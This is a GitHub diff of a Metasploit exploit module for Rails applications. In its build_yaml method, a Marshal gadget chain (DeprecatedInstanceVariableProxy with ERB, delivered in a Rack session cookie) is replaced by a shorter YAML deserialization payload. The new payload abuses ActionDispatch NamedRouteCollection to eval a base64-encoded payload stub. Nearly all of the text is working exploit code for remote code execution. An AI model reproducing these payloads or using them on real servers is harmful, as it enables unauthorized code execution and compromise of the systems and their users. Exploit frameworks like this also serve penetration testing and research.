File tree Expand file tree Collapse file tree 1 file changed +5
-30
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +5
-30
lines changed Original file line number Diff line number Diff line change @@ -84,36 +84,11 @@ def detached_payload_stub(code)
84
84
def build_yaml
85
85
86
86
# Embed the payload with the detached stub
87
- code =
88
- "eval('" +
89
- Rex ::Text . encode_base64 ( detached_payload_stub ( payload . encoded ) ) +
90
- "'.unpack('m0').first)"
91
-
92
- # Create a base64-encoded marshalled object
93
- inner_payload = Rex ::Text . encode_base64 (
94
- "\x04 \x08 " +
95
- "o" +":\x40 ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +"\x07 " +
96
- ":\x0E @instance" +
97
- "o" +":\x08 ERB" +"\x06 " +
98
- ":\x09 @src" +
99
- Marshal . dump ( code ) [ 2 ..-1 ] +
100
- ":\x0C @method" +":\x0B result"
101
- )
102
-
103
- # Pack this into a YAML (the leading whitespace below is important)
104
- payload = <<-PAYLOAD . strip . gsub ( "\n " , " " )
105
- --- !ruby/object:Gem::Requirement
106
- requirements:
107
- - !ruby/object:Rack::Session::Abstract::SessionHash
108
- env:
109
- HTTP_COOKIE: a=#{ inner_payload }
110
- by: !ruby/object:Rack::Session::Cookie
111
- coder: !ruby/object:Rack::Session::Cookie::Base64::Marshal {}
112
- key: a
113
- secrets: []
114
- exists: true
115
- PAYLOAD
116
-
87
+ code = Rex ::Text . encode_base64 ( detached_payload_stub ( payload . encoded ) )
88
+ yaml =
89
+ "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n " +
90
+ "'; (eval(%[#{ code } ].unpack(%[m0])[0]); @e=true) unless @e #':" +
91
+ " !ruby/object:OpenStruct\n table:\n :defaults: {}\n "
117
92
end
118
93
119
94
You can’t perform that action at this time.
0 commit comments